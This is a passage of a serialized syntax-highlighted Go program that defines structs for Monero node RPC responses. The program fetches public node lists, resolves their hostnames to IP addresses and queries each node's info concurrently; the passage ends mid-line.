",[279,1843,1762],{"class":285},[279,1845,646],{"class":285},[279,1847,1849,1852,1855],{"class":281,"line":1848},40,[279,1850,1851],{"class":298},"        Items ",[279,1853,1854],{"class":285},"[]struct",[279,1856,646],{"class":285},[279,1858,1860,1863,1865,1867,1870],{"class":281,"line":1859},41,[279,1861,1862],{"class":298},"            Hostname    ",[279,1864,1776],{"class":331},[279,1866,660],{"class":285},[279,1868,1869],{"class":341},"json:\"hostname\"",[279,1871,1784],{"class":285},[279,1873,1875,1878,1881,1884,1887],{"class":281,"line":1874},42,[279,1876,1877],{"class":298},"            Port        ",[279,1879,1880],{"class":331},"int",[279,1882,1883],{"class":285},"    `",[279,1885,1886],{"class":341},"json:\"port\"",[279,1888,1784],{"class":285},[279,1890,1892,1895,1897,1899,1902],{"class":281,"line":1891},43,[279,1893,1894],{"class":298},"            Protocol    ",[279,1896,1776],{"class":331},[279,1898,660],{"class":285},[279,1900,1901],{"class":341},"json:\"protocol\"",[279,1903,1784],{"class":285},[279,1905,1907,1910,1913,1916,1919],{"class":281,"line":1906},44,[279,1908,1909],{"class":298},"            IsTor       ",[279,1911,1912],{"class":331},"bool",[279,1914,1915],{"class":285},"   `",[279,1917,1918],{"class":341},"json:\"is_tor\"",[279,1920,1784],{"class":285},[279,1922,1924,1927,1929,1931,1934],{"class":281,"line":1923},45,[279,1925,1926],{"class":298},"            IsAvailable ",[279,1928,1912],{"class":331},[279,1930,1915],{"class":285},[279,1932,1933],{"class":341},"json:\"is_available\"",[279,1935,1784],{"class":285},[279,1937,1939,1942,1944,1946,1949],{"class":281,"line":1938},46,[279,1940,1941],{"class":298},"            NetType     ",[279,1943,1776],{"class":331},[279,1945,660],{"class":285},[279,1947,1948],{"class":341},"json:\"nettype\"",[279,1950,1784],{"class":285},[279,1952,1954,1957,1959,1962],{"class":281,"line":1953},47,[279,1955,1956],{"class":285},"        }",[279,1958,660],{"class":285},[279,1960,1961],{"class":341},"json:\"items\"",[279,1963,1784],{"class":285},[279,1965,1967,1969,1971,1974],{"class":281,"line":1966},48,[279,1968,813],{"class":285},[279,1970,660],{"class":285},[279,1972,1973],{"class":341},"json:\"data\"",[279,1975,1784],{"class":285},[279,1977,1979],{"class":281,"line":1978},49,[279,1980,949],{"class":285},[279,1982,1984],{"class":281,"line":1983},50,[279,1985,628],{"emptyLinePlaceholder":220},[279,1987,1989,1991,1994,1996],{"class":281,"line":1988},51,[279,1990,1745],{"class":285},[279,1992,1993],{"class":1607}," MoneroNode",[279,1995,1751],{"class":285},[279,1997,646],{"class":285},[279,1999,2001,2004,2007,2009,2012,2015,2017,2020],{"class":281,"line":2000},52,[279,2002,2003],{"class":298},"    IP ",[279,2005,2006],{"class":285},"map[",[279,2008,1776],{"class":331},[279,2010,2011],{"class":285},"]",[279,2013,2014],{"class":1607},"NodeIdentifyInfo",[279,2016,660],{"class":285},[279,2018,2019],{"class":341},"json:\"ip\"",[279,2021,1784],{"class":285},[279,2023,2025],{"class":281,"line":2024},53,[279,2026,949],{"class":285},[279,2028,2030],{"class":281,"line":2029},54,[279,2031,628],{"emptyLinePlaceholder":220},[279,2033,2035,2037,2040,2042],{"class":281,"line":2034},55,[279,2036,1745],{"class":285},[279,2038,2039],{"class":1607}," NodeIdentifyInfo",[279,2041,1751],{"class":285},[279,2043,646],{"class":285},[279,2045,2047,2050,2053,2055,2058],{"class":281,"line":2046},56,[279,2048,2049],{"class":298},"    NodeGetInfoResponse            ",[279,2051,2052],{"class":1607},"NodeGetInfoResponse",[279,2054,740],{"class":285},[279,2056,2057],{"class":341},"json:\"get_info\"",[279,2059,1784],{"class":285},[279,2061,2063,2066,2069,2072,2075],{"class":281,"line":2062},57,[279,2064,2065],{"class":298},"    NodeGetLimitResponse           ",[279,2067,2068],{"class":1607},"NodeGetLimitResponse",[279,2070,2071],{"class":285},"           `",[279,2073,2074],{"class":341},"json:\"get_limit\"",[279,2076,1784],{"class":285},[279,2078,2080,2083,2086,2088,2091],{"class":281,"line":2079},58,[279,2081,2082],{"class":298},"    NodeGetAltBlocksHashesResponse ",[279,2084,2085],{"class":1607},"NodeGetAltBlocksHashesResponse",[279,2087,660],{"class":285},[279,2089,2090],{"class":341},"json:\"get_alt_blocks_hashes\"",[279,2092,1784],{"class":285},[279,2094,2096],{"class":281,"line":2095},59,[279,2097,949],{"class":285},[279,2099,2101],{"class":281,"line":2100},60,[279,2102,628],{"emptyLinePlaceholder":220},[279,2104,2106,2108,2111,2113],{"class":281,"line":2105},61,[279,2107,1745],{"class":285},[279,2109,2110],{"class":1607}," NodeGetInfoResponse",[279,2112,1751],{"class":285},[279,2114,646],{"class":285},[279,2116,2118,2121,2124,2127,2130],{"class":281,"line":2117},62,[279,2119,2120],{"class":298},"    AdjustedTime              ",[279,2122,2123],{"class":331},"int64",[279,2125,2126],{"class":285},"  `",[279,2128,2129],{"class":341},"json:\"adjusted_time\"",[279,2131,1784],{"class":285},[279,2133,2135,2138,2140,2142,2145],{"class":281,"line":2134},63,[279,2136,2137],{"class":298},"    AltBlocksCount            ",[279,2139,2123],{"class":331},[279,2141,2126],{"class":285},[279,2143,2144],{"class":341},"json:\"alt_blocks_count\"",[279,2146,1784],{"class":285},[279,2148,2150,2153,2155,2157,2160],{"class":281,"line":2149},64,[279,2151,2152],{"class":298},"    BlockSizeLimit            ",[279,2154,2123],{"class":331},[279,2156,2126],{"class":285},[279,2158,2159],{"class":341},"json:\"block_size_limit\"",[279,2161,1784],{"class":285},[279,2163,2165,2168,2170,2172,2175],{"class":281,"line":2164},65,[279,2166,2167],{"class":298},"    BlockSizeMedian           ",[279,2169,2123],{"class":331},[279,2171,2126],{"class":285},[279,2173,2174],{"class":341},"json:\"block_size_median\"",[279,2176,1784],{"class":285},[279,2178,2180,2183,2185,2187,2190],{"class":281,"line":2179},66,[279,2181,2182],{"class":298},"    BlockWeightLimit          ",[279,2184,2123],{"class":331},[279,2186,2126],{"class":285},[279,2188,2189],{"class":341},"json:\"block_weight_limit\"",[279,2191,1784],{"class":285},[279,2193,2195,2198,2200,2202,2205],{"class":281,"line":2194},67,[279,2196,2197],{"class":298},"    BlockWeightMedian         ",[279,2199,2123],{"class":331},[279,2201,2126],{"class":285},[279,2203,2204],{"class":341},"json:\"block_weight_median\"",[279,2206,1784],{"class":285},[279,2208,2210,2213,2215,2217,2220],{"class":281,"line":2209},68,[279,2211,2212],{"class":298},"    BootstrapDaemonAddress    ",[279,2214,1776],{"class":331},[279,2216,660],{"class":285},[279,2218,2219],{"class":341},"json:\"bootstrap_daemon_address\"",[279,2221,1784],{"class":285},[279,2223,2225,2228,2230,2232,2235],{"class":281,"line":2224},69,[279,2226,2227],{"class":298},"    BusySyncing               ",[279,2229,1912],{"class":331},[279,2231,1915],{"class":285},[279,2233,2234],{"class":341},"json:\"busy_syncing\"",[279,2236,1784],{"class":285},[279,2238,2240,2243,2245,2247,2250],{"class":281,"line":2239},70,[279,2241,2242],{"class":298},"    Credits                   ",[279,2244,2123],{"class":331},[279,2246,2126],{"class":285},[279,2248,2249],{"class":341},"json:\"credits\"",[279,2251,1784],{"class":285},[279,2253,2255,2258,2260,2262,2265],{"class":281,"line":2254},71,[279,2256,2257],{"class":298},"    CumulativeDifficulty      ",[279,2259,2123],{"class":331},[279,2261,2126],{"class":285},[279,2263,2264],{"class":341},"json:\"cumulative_difficulty\"",[279,2266,1784],{"class":285},[279,2268,2270,2273,2275,2277,2280],{"class":281,"line":2269},72,[279,2271,2272],{"class":298},"    CumulativeDifficultyTop64 ",[279,2274,2123],{"class":331},[279,2276,2126],{"class":285},[279,2278,2279],{"class":341},"json:\"cumulative_difficulty_top64\"",[279,2281,1784],{"class":285},[279,2283,2285,2288,2290,2292,2295],{"class":281,"line":2284},73,[279,2286,2287],{"class":298},"    DatabaseSize              ",[279,2289,2123],{"class":331},[279,2291,2126],{"class":285},[279,2293,2294],{"class":341},"json:\"database_size\"",[279,2296,1784],{"class":285},[279,2298,2300,2303,2305,2307,2310],{"class":281,"line":2299},74,[279,2301,2302],{"class":298},"    Difficulty                ",[279,2304,2123],{"class":331},[279,2306,2126],{"class":285},[279,2308,2309],{"class":341},"json:\"difficulty\"",[279,2311,1784],{"class":285},[279,2313,2315,2318,2320,2322,2325],{"class":281,"line":2314},75,[279,2316,2317],{"class":298},"    DifficultyTop64           ",[279,2319,2123],{"class":331},[279,2321,2126],{"class":285},[279,2323,2324],{"class":341},"json:\"difficulty_top64\"",[279,2326,1784],{"class":285},[279,2328,2330,2333,2336,2338,2341],{"class":281,"line":2329},76,[279,2331,2332],{"class":298},"    FreeSpace                 ",[279,2334,2335],{"class":331},"uint64",[279,2337,660],{"class":285},[279,2339,2340],{"class":341},"json:\"free_space\"",[279,2342,1784],{"class":285},[279,2344,2346,2349,2351,2353,2356],{"class":281,"line":2345},77,[279,2347,2348],{"class":298},"    GreyPeerlistSize          ",[279,2350,2123],{"class":331},[279,2352,2126],{"class":285},[279,2354,2355],{"class":341},"json:\"grey_peerlist_size\"",[279,2357,1784],{"class":285},[279,2359,2361,2364,2366,2368,2371],{"class":281,"line":2360},78,[279,2362,2363],{"class":298},"    Height                    ",[279,2365,2123],{"class":331},[279,2367,2126],{"class":285},[279,2369,2370],{"class":341},"json:\"height\"",[279,2372,1784],{"class":285},[279,2374,2376,2379,2381,2383,2386],{"class":281,"line":2375},79,[279,2377,2378],{"class":298},"    HeightWithoutBootstrap    ",[279,2380,2123],{"class":331},[279,2382,2126],{"class":285},[279,2384,2385],{"class":341},"json:\"height_without_bootstrap\"",[279,2387,1784],{"class":285},[279,2389,2391,2394,2396,2398,2401],{"class":281,"line":2390},80,[279,2392,2393],{"class":298},"    IncomingConnectionsCount  ",[279,2395,2123],{"class":331},[279,2397,2126],{"class":285},[279,2399,2400],{"class":341},"json:\"incoming_connections_count\"",[279,2402,1784],{"class":285},[279,2404,2406,2409,2411,2413,2416],{"class":281,"line":2405},81,[279,2407,2408],{"class":298},"    Mainnet                   ",[279,2410,1912],{"class":331},[279,2412,1915],{"class":285},[279,2414,2415],{"class":341},"json:\"mainnet\"",[279,2417,1784],{"class":285},[279,2419,2421,2424,2426,2428,2430],{"class":281,"line":2420},82,[279,2422,2423],{"class":298},"    Nettype                   ",[279,2425,1776],{"class":331},[279,2427,660],{"class":285},[279,2429,1948],{"class":341},[279,2431,1784],{"class":285},[279,2433,2435,2438,2440,2442,2445],{"class":281,"line":2434},83,[279,2436,2437],{"class":298},"    Offline                   ",[279,2439,1912],{"class":331},[279,2441,1915],{"class":285},[279,2443,2444],{"class":341},"json:\"offline\"",[279,2446,1784],{"class":285},[279,2448,2450,2453,2455,2457,2460],{"class":281,"line":2449},84,[279,2451,2452],{"class":298},"    OutgoingConnectionsCount  ",[279,2454,2123],{"class":331},[279,2456,2126],{"class":285},[279,2458,2459],{"class":341},"json:\"outgoing_connections_count\"",[279,2461,1784],{"class":285},[279,2463,2465,2468,2470,2472,2475],{"class":281,"line":2464},85,[279,2466,2467],{"class":298},"    Restricted                ",[279,2469,1912],{"class":331},[279,2471,1915],{"class":285},[279,2473,2474],{"class":341},"json:\"restricted\"",[279,2476,1784],{"class":285},[279,2478,2480,2483,2485,2487,2490],{"class":281,"line":2479},86,[279,2481,2482],{"class":298},"    RPCConnectionsCount       ",[279,2484,2123],{"class":331},[279,2486,2126],{"class":285},[279,2488,2489],{"class":341},"json:\"rpc_connections_count\"",[279,2491,1784],{"class":285},[279,2493,2495,2498,2500,2502,2505],{"class":281,"line":2494},87,[279,2496,2497],{"class":298},"    Stagenet                  ",[279,2499,1912],{"class":331},[279,2501,1915],{"class":285},[279,2503,2504],{"class":341},"json:\"stagenet\"",[279,2506,1784],{"class":285},[279,2508,2510,2513,2515,2517,2520],{"class":281,"line":2509},88,[279,2511,2512],{"class":298},"    StartTime                 ",[279,2514,2123],{"class":331},[279,2516,2126],{"class":285},[279,2518,2519],{"class":341},"json:\"start_time\"",[279,2521,1784],{"class":285},[279,2523,2525,2528,2530,2532,2535],{"class":281,"line":2524},89,[279,2526,2527],{"class":298},"    Status                    ",[279,2529,1776],{"class":331},[279,2531,660],{"class":285},[279,2533,2534],{"class":341},"json:\"status\"",[279,2536,1784],{"class":285},[279,2538,2540,2543,2545,2547,2550],{"class":281,"line":2539},90,[279,2541,2542],{"class":298},"    Synchronized              ",[279,2544,1912],{"class":331},[279,2546,1915],{"class":285},[279,2548,2549],{"class":341},"json:\"synchronized\"",[279,2551,1784],{"class":285},[279,2553,2555,2558,2560,2562,2565],{"class":281,"line":2554},91,[279,2556,2557],{"class":298},"    Target                    ",[279,2559,2123],{"class":331},[279,2561,2126],{"class":285},[279,2563,2564],{"class":341},"json:\"target\"",[279,2566,1784],{"class":285},[279,2568,2570,2573,2575,2577,2580],{"class":281,"line":2569},92,[279,2571,2572],{"class":298},"    TargetHeight              ",[279,2574,2123],{"class":331},[279,2576,2126],{"class":285},[279,2578,2579],{"class":341},"json:\"target_height\"",[279,2581,1784],{"class":285},[279,2583,2585,2588,2590,2592,2595],{"class":281,"line":2584},93,[279,2586,2587],{"class":298},"    Testnet                   ",[279,2589,1912],{"class":331},[279,2591,1915],{"class":285},[279,2593,2594],{"class":341},"json:\"testnet\"",[279,2596,1784],{"class":285},[279,2598,2600,2603,2605,2607,2610],{"class":281,"line":2599},94,[279,2601,2602],{"class":298},"    TopBlockHash              ",[279,2604,1776],{"class":331},[279,2606,660],{"class":285},[279,2608,2609],{"class":341},"json:\"top_block_hash\"",[279,2611,1784],{"class":285},[279,2613,2615,2618,2620,2622,2625],{"class":281,"line":2614},95,[279,2616,2617],{"class":298},"    TopHash                   ",[279,2619,1776],{"class":331},[279,2621,660],{"class":285},[279,2623,2624],{"class":341},"json:\"top_hash\"",[279,2626,1784],{"class":285},[279,2628,2630,2633,2635,2637,2640],{"class":281,"line":2629},96,[279,2631,2632],{"class":298},"    TxCount                   ",[279,2634,2123],{"class":331},[279,2636,2126],{"class":285},[279,2638,2639],{"class":341},"json:\"tx_count\"",[279,2641,1784],{"class":285},[279,2643,2645,2648,2650,2652,2655],{"class":281,"line":2644},97,[279,2646,2647],{"class":298},"    TxPoolSize                ",[279,2649,2123],{"class":331},[279,2651,2126],{"class":285},[279,2653,2654],{"class":341},"json:\"tx_pool_size\"",[279,2656,1784],{"class":285},[279,2658,2660,2663,2665,2667,2670],{"class":281,"line":2659},98,[279,2661,2662],{"class":298},"    Untrusted                 ",[279,2664,1912],{"class":331},[279,2666,1915],{"class":285},[279,2668,2669],{"class":341},"json:\"untrusted\"",[279,2671,1784],{"class":285},[279,2673,2675,2678,2680,2682,2685],{"class":281,"line":2674},99,[279,2676,2677],{"class":298},"    UpdateAvailable           ",[279,2679,1912],{"class":331},[279,2681,1915],{"class":285},[279,2683,2684],{"class":341},"json:\"update_available\"",[279,2686,1784],{"class":285},[279,2688,2690,2693,2695,2697,2700],{"class":281,"line":2689},100,[279,2691,2692],{"class":298},"    Version                   ",[279,2694,1776],{"class":331},[279,2696,660],{"class":285},[279,2698,2699],{"class":341},"json:\"version\"",[279,2701,1784],{"class":285},[279,2703,2705,2708,2710,2712,2715],{"class":281,"line":2704},101,[279,2706,2707],{"class":298},"    WasBootstrapEverUsed      ",[279,2709,1912],{"class":331},[279,2711,1915],{"class":285},[279,2713,2714],{"class":341},"json:\"was_bootstrap_ever_used\"",[279,2716,1784],{"class":285},[279,2718,2720,2723,2725,2727,2730],{"class":281,"line":2719},102,[279,2721,2722],{"class":298},"    WhitePeerlistSize         ",[279,2724,2123],{"class":331},[279,2726,2126],{"class":285},[279,2728,2729],{"class":341},"json:\"white_peerlist_size\"",[279,2731,1784],{"class":285},[279,2733,2735,2738,2740,2742,2745],{"class":281,"line":2734},103,[279,2736,2737],{"class":298},"    WideCumulativeDifficulty  ",[279,2739,1776],{"class":331},[279,2741,660],{"class":285},[279,2743,2744],{"class":341},"json:\"wide_cumulative_difficulty\"",[279,2746,1784],{"class":285},[279,2748,2750,2753,2755,2757,2760],{"class":281,"line":2749},104,[279,2751,2752],{"class":298},"    WideDifficulty            ",[279,2754,1776],{"class":331},[279,2756,660],{"class":285},[279,2758,2759],{"class":341},"json:\"wide_difficulty\"",[279,2761,1784],{"class":285},[279,2763,2765],{"class":281,"line":2764},105,[279,2766,949],{"class":285},[279,2768,2770],{"class":281,"line":2769},106,[279,2771,628],{"emptyLinePlaceholder":220},[279,2773,2775,2777,2780,2782],{"class":281,"line":2774},107,[279,2776,1745],{"class":285},[279,2778,2779],{"class":1607}," NodeGetLimitResponse",[279,2781,1751],{"class":285},[279,2783,646],{"class":285},[279,2785,2787,2790,2792,2794,2797],{"class":281,"line":2786},108,[279,2788,2789],{"class":298},"    LimitDown ",[279,2791,2123],{"class":331},[279,2793,2126],{"class":285},[279,2795,2796],{"class":341},"json:\"limit_down\"",[279,2798,1784],{"class":285},[279,2800,2802,2805,2807,2809,2812],{"class":281,"line":2801},109,[279,2803,2804],{"class":298},"    LimitUp   ",[279,2806,2123],{"class":331},[279,2808,2126],{"class":285},[279,2810,2811],{"class":341},"json:\"limit_up\"",[279,2813,1784],{"class":285},[279,2815,2817,2820,2822,2824,2826],{"class":281,"line":2816},110,[279,2818,2819],{"class":298},"    Status    ",[279,2821,1776],{"class":331},[279,2823,660],{"class":285},[279,2825,2534],{"class":341},[279,2827,1784],{"class":285},[279,2829,2831,2834,2836,2838,2840],{"class":281,"line":2830},111,[279,2832,2833],{"class":298},"    Untrusted ",[279,2835,1912],{"class":331},[279,2837,1915],{"class":285},[279,2839,2669],{"class":341},[279,2841,1784],{"class":285},[279,2843,2845],{"class":281,"line":2844},112,[279,2846,949],{"class":285},[279,2848,2850],{"class":281,"line":2849},113,[279,2851,628],{"emptyLinePlaceholder":220},[279,2853,2855,2857,2860,2862],{"class":281,"line":2854},114,[279,2856,1745],{"class":285},[279,2858,2859],{"class":1607}," NodeGetAltBlocksHashesResponse",[279,2861,1751],{"class":285},[279,2863,646],{"class":285},[279,2865,2867,2870,2872,2874,2876,2879],{"class":281,"line":2866},115,[279,2868,2869],{"class":298},"    BlksHashes ",[279,2871,1773],{"class":285},[279,2873,1776],{"class":331},[279,2875,660],{"class":285},[279,2877,2878],{"class":341},"json:\"blks_hashes\"",[279,2880,1784],{"class":285},[279,2882,2884,2887,2889,2892,2894],{"class":281,"line":2883},116,[279,2885,2886],{"class":298},"    Credits    ",[279,2888,1880],{"class":331},[279,2890,2891],{"class":285},"      `",[279,2893,2249],{"class":341},[279,2895,1784],{"class":285},[279,2897,2899,2902,2904,2906,2908],{"class":281,"line":2898},117,[279,2900,2901],{"class":298},"    Status     ",[279,2903,1776],{"class":331},[279,2905,1915],{"class":285},[279,2907,2534],{"class":341},[279,2909,1784],{"class":285},[279,2911,2913,2916,2918,2920,2922],{"class":281,"line":2912},118,[279,2914,2915],{"class":298},"    TopHash    ",[279,2917,1776],{"class":331},[279,2919,1915],{"class":285},[279,2921,2624],{"class":341},[279,2923,1784],{"class":285},[279,2925,2927,2930,2932,2935,2937],{"class":281,"line":2926},119,[279,2928,2929],{"class":298},"    Untrusted  ",[279,2931,1912],{"class":331},[279,2933,2934],{"class":285},"     `",[279,2936,2669],{"class":341},[279,2938,1784],{"class":285},[279,2940,2942],{"class":281,"line":2941},120,[279,2943,949],{"class":285},[279,2945,2947],{"class":281,"line":2946},121,[279,2948,628],{"emptyLinePlaceholder":220},[279,2950,2952,2955,2958,2960],{"class":281,"line":2951},122,[279,2953,2954],{"class":285},"func",[279,2956,2957],{"class":639}," main",[279,2959,643],{"class":285},[279,2961,646],{"class":285},[279,2963,2965,2968,2971,2973],{"class":281,"line":2964},123,[279,2966,2967],{"class":285},"    var",[279,2969,2970],{"class":298}," nodes ",[279,2972,1773],{"class":285},[279,2974,2975],{"class":331},"string\n",[279,2977,2979,2982,2985,2988,2991,2994],{"class":281,"line":2978},124,[279,2980,2981],{"class":298},"    err ",[279,2983,2984],{"class":285},":=",[279,2986,2987],{"class":639}," fetchMoneroFailNodes",[279,2989,2990],{"class":285},"(&",[279,2992,2993],{"class":298},"nodes",[279,2995,1734],{"class":285},[279,2997,2999,3002,3005,3008,3011],{"class":281,"line":2998},125,[279,3000,3001],{"class":713},"    if",[279,3003,3004],{"class":298}," err ",[279,3006,3007],{"class":285},"!=",[279,3009,3010],{"class":285}," nil",[279,3012,646],{"class":285},[279,3014,3016,3019,3021,3024,3026,3028,3031,3033,3035,3038],{"class":281,"line":3015},126,[279,3017,3018],{"class":298},"        log",[279,3020,678],{"class":285},[279,3022,3023],{"class":639},"Println",[279,3025,840],{"class":285},[279,3027,355],{"class":285},[279,3029,3030],{"class":341},"Error fetching nodes:",[279,3032,355],{"class":285},[279,3034,850],{"class":285},[279,3036,3037],{"class":298}," err",[279,3039,1734],{"class":285},[279,3041,3043],{"class":281,"line":3042},127,[279,3044,3045],{"class":713},"        return\n",[279,3047,3049],{"class":281,"line":3048},128,[279,3050,944],{"class":285},[279,3052,3054,3056,3058,3061,3063,3065],{"class":281,"line":3053},129,[279,3055,2981],{"class":298},[279,3057,335],{"class":285},[279,3059,3060],{"class":639}," fetchXmrDitatompelNodes",[279,3062,2990],{"class":285},[279,3064,2993],{"class":298},[279,3066,1734],{"class":285},[279,3068,3070,3072,3074,3076,3078],{"class":281,"line":3069},130,[279,3071,3001],{"class":713},[279,3073,3004],{"class":298},[279,3075,3007],{"class":285},[279,3077,3010],{"class":285},[279,3079,646],{"class":285},[279,3081,3083,3085,3087,3089,3091,3093,3095,3097,3099,3101],{"class":281,"line":3082},131,[279,3084,3018],{"class":298},[279,3086,678],{"class":285},[279,3088,3023],{"class":639},[279,3090,840],{"class":285},[279,3092,355],{"class":285},[279,3094,3030],{"class":341},[279,3096,355],{"class":285},[279,3098,850],{"class":285},[279,3100,3037],{"class":298},[279,3102,1734],{"class":285},[279,3104,3106],{"class":281,"line":3105},132,[279,3107,3045],{"class":713},[279,3109,3111],{"class":281,"line":3110},133,[279,3112,944],{"class":285},[279,3114,3116,3119,3121,3124,3127,3129,3131,3134],{"class":281,"line":3115},134,[279,3117,3118],{"class":298},"    moneroNodes ",[279,3120,2984],{"class":285},[279,3122,3123],{"class":639}," make",[279,3125,3126],{"class":285},"(map[",[279,3128,1776],{"class":331},[279,3130,2011],{"class":285},[279,3132,3133],{"class":1607},"MoneroNode",[279,3135,1734],{"class":285},[279,3137,3139,3141,3144,3146,3149,3151,3153],{"class":281,"line":3138},135,[279,3140,2967],{"class":285},[279,3142,3143],{"class":298}," wg1",[279,3145,850],{"class":285},[279,3147,3148],{"class":298}," wg2 ",[279,3150,1716],{"class":1607},[279,3152,678],{"class":285},[279,3154,3155],{"class":1607},"WaitGroup\n",[279,3157,3159,3161,3164,3166,3168],{"class":281,"line":3158},136,[279,3160,2967],{"class":285},[279,3162,3163],{"class":298}," mu ",[279,3165,1716],{"class":1607},[279,3167,678],{"class":285},[279,3169,3170],{"class":1607},"Mutex\n",[279,3172,3174,3177,3180,3182,3185,3187,3190,3192],{"class":281,"line":3173},137,[279,3175,3176],{"class":713},"    for",[279,3178,3179],{"class":298}," _",[279,3181,850],{"class":285},[279,3183,3184],{"class":298}," host ",[279,3186,2984],{"class":285},[279,3188,3189],{"class":713}," range",[279,3191,2970],{"class":298},[279,3193,828],{"class":285},[279,3195,3197,3200,3202,3205,3207,3211],{"class":281,"line":3196},138,[279,3198,3199],{"class":298},"        wg1",[279,3201,678],{"class":285},[279,3203,3204],{"class":639},"Add",[279,3206,840],{"class":285},[279,3208,3210],{"class":3209},"sbssI","1",[279,3212,1734],{"class":285},[279,3214,3216,3219,3222,3226,3229,3231],{"class":281,"line":3215},139,[279,3217,3218],{"class":713},"        go",[279,3220,3221],{"class":285}," func(",[279,3223,3225],{"class":3224},"sHdIc","host",[279,3227,3228],{"class":331}," string",[279,3230,856],{"class":285},[279,3232,646],{"class":285},[279,3234,3236,3239,3241,3243,3246],{"class":281,"line":3235},140,[279,3237,3238],{"class":713},"            defer",[279,3240,3143],{"class":298},[279,3242,678],{"class":285},[279,3244,3245],{"class":639},"Done",[279,3247,3248],{"class":285},"()\n",[279,3250,3252,3255,3258],{"class":281,"line":3251},141,[279,3253,3254],{"class":285},"            var",[279,3256,3257],{"class":298}," node ",[279,3259,3260],{"class":1607},"MoneroNode\n",[279,3262,3264,3267,3269,3272,3274,3276,3278,3280,3282,3284],{"class":281,"line":3263},142,[279,3265,3266],{"class":298},"            node",[279,3268,678],{"class":285},[279,3270,3271],{"class":298},"IP ",[279,3273,335],{"class":285},[279,3275,3123],{"class":639},[279,3277,3126],{"class":285},[279,3279,1776],{"class":331},[279,3281,2011],{"class":285},[279,3283,2014],{"class":1607},[279,3285,1734],{"class":285},[279,3287,3289,3292,3294,3296,3298,3301,3303,3306,3308,3310],{"class":281,"line":3288},143,[279,3290,3291],{"class":298},"            pUrl",[279,3293,850],{"class":285},[279,3295,3004],{"class":298},[279,3297,2984],{"class":285},[279,3299,3300],{"class":298}," url",[279,3302,678],{"class":285},[279,3304,3305],{"class":639},"Parse",[279,3307,840],{"class":285},[279,3309,3225],{"class":298},[279,3311,1734],{"class":285},[279,3313,3315,3318,3320,3322,3324],{"class":281,"line":3314},144,[279,3316,3317],{"class":713},"            if",[279,3319,3004],{"class":298},[279,3321,3007],{"class":285},[279,3323,3010],{"class":285},[279,3325,646],{"class":285},[279,3327,3329],{"class":281,"line":3328},145,[279,3330,3331],{"class":713},"                return\n",[279,3333,3335],{"class":281,"line":3334},146,[279,3336,3337],{"class":285},"            }\n",[279,3339,3341,3344,3346,3348,3350,3353,3355,3358,3360,3363,3365,3368],{"class":281,"line":3340},147,[279,3342,3343],{"class":298},"            ipAddresses",[279,3345,850],{"class":285},[279,3347,3004],{"class":298},[279,3349,2984],{"class":285},[279,3351,3352],{"class":298}," net",[279,3354,678],{"class":285},[279,3356,3357],{"class":639},"LookupIP",[279,3359,840],{"class":285},[279,3361,3362],{"class":298},"pUrl",[279,3364,678],{"class":285},[279,3366,3367],{"class":639},"Hostname",[279,3369,3370],{"class":285},"())\n",[279,3372,3374,3376,3378,3380,3382],{"class":281,"line":3373},148,[279,3375,3317],{"class":713},[279,3377,3004],{"class":298},[279,3379,3007],{"class":285},[279,3381,3010],{"class":285},[279,3383,646],{"class":285},[279,3385,3387],{"class":281,"line":3386},149,[279,3388,3331],{"class":713},[279,3390,3392],{"class":281,"line":3391},150,[279,3393,3337],{"class":285},[279,3395,3397,3400,3402,3404,3407,3409,3411,3414],{"class":281,"line":3396},151,[279,3398,3399],{"class":713},"            for",[279,3401,3179],{"class":298},[279,3403,850],{"class":285},[279,3405,3406],{"class":298}," ip ",[279,3408,2984],{"class":285},[279,3410,3189],{"class":713},[279,3412,3413],{"class":298}," ipAddresses ",[279,3415,828],{"class":285},[279,3417,3419,3422,3424,3427,3429,3432],{"class":281,"line":3418},152,[279,3420,3421],{"class":298},"                ipStr ",[279,3423,2984],{"class":285},[279,3425,3426],{"class":298}," ip",[279,3428,678],{"class":285},[279,3430,3431],{"class":639},"String",[279,3433,3248],{"class":285},[279,3435,3437,3440,3442,3444,3446,3448],{"class":281,"line":3436},153,[279,3438,3439],{"class":298},"                wg2",[279,3441,678],{"class":285},[279,3443,3204],{"class":639},[279,3445,840],{"class":285},[279,3447,3210],{"class":3209},[279,3449,1734],{"class":285},[279,3451,3453,3456,3458,3461,3463,3466,3468,3470],{"class":281,"line":3452},154,[279,3454,3455],{"class":713},"                go",[279,3457,3221],{"class":285},[279,3459,3460],{"class":3224},"ip",[279,3462,850],{"class":285},[279,3464,3465],{"class":3224}," host",[279,3467,3228],{"class":331},[279,3469,856],{"class":285},[279,3471,646],{"class":285},[279,3473,3475,3478,3481,3483,3485],{"class":281,"line":3474},155,[279,3476,3477],{"class":713},"                    defer",[279,3479,3480],{"class":298}," wg2",[279,3482,678],{"class":285},[279,3484,3245],{"class":639},[279,3486,3248],{"class":285},[279,3488,3490,3493,3495,3497,3499,3502,3504,3506,3508,3510],{"class":281,"line":3489},156,[279,3491,3492],{"class":298},"                    nodeInfo",[279,3494,850],{"class":285},[279,3496,3004],{"class":298},[279,3498,2984],{"class":285},[279,3500,3501],{"class":639}," identifyMoneroNode",[279,3503,840],{"class":285},[279,3505,3460],{"class":298},[279,3507,850],{"class":285},[279,3509,3465],{"class":298},[279,3511,1734],{"class":285},[279,3513,3515,3518,3520,3522,3524],{"class":281,"line":3514},157,[279,3516,3517],{"class":713},"                    if",[279,3519,3004],{"class":298},[279,3521,3007],{"class":285},[279,3523,3010],{"class":285},[279,3525,646],{"class":285},[279,3527,3529,3532,3534,3536,3538,3540,3543,3545,3547,3549,3551,3553,3555,3557],{"class":281,"line":3528},158,[279,3530,3531],{"class":298},"                        log",[279,3533,678],{"class":285},[279,3535,3023],{"class":639},[279,3537,840],{"class":285},[279,3539,355],{"class":285},[279,3541,3542],{"class":341},"Failed to getMoneroNodeInfo for:",[279,3544,355],{"class":285},[279,3546,850],{"class":285},[279,3548,3465],{"class":298},[279,3550,850],{"class":285},[279,3552,3426],{"class":298},[279,3554,850],{"class":285},[279,3556,3037],{"class":298},[279,3558,1734],{"class":285},[279,3560,3562],{"class":281,"line":3561},159,[279,3563,3564],{"class":713},"                        return\n",[279,3566,3568],{"class":281,"line":3567},160,[279,3569,3570],{"class":285},"                    }\n",[279,3572,3574,3577,3579,3582],{"class":281,"line":3573},161,[279,3575,3576],{"class":298},"                    mu",[279,3578,678],{"class":285},[279,3580,3581],{"class":639},"Lock",[279,3583,3248],{"class":285},[279,3585,3587,3590,3592,3595,3598,3600,3602,3604],{"class":281,"line":3586},162,[279,3588,3589],{"class":298},"                    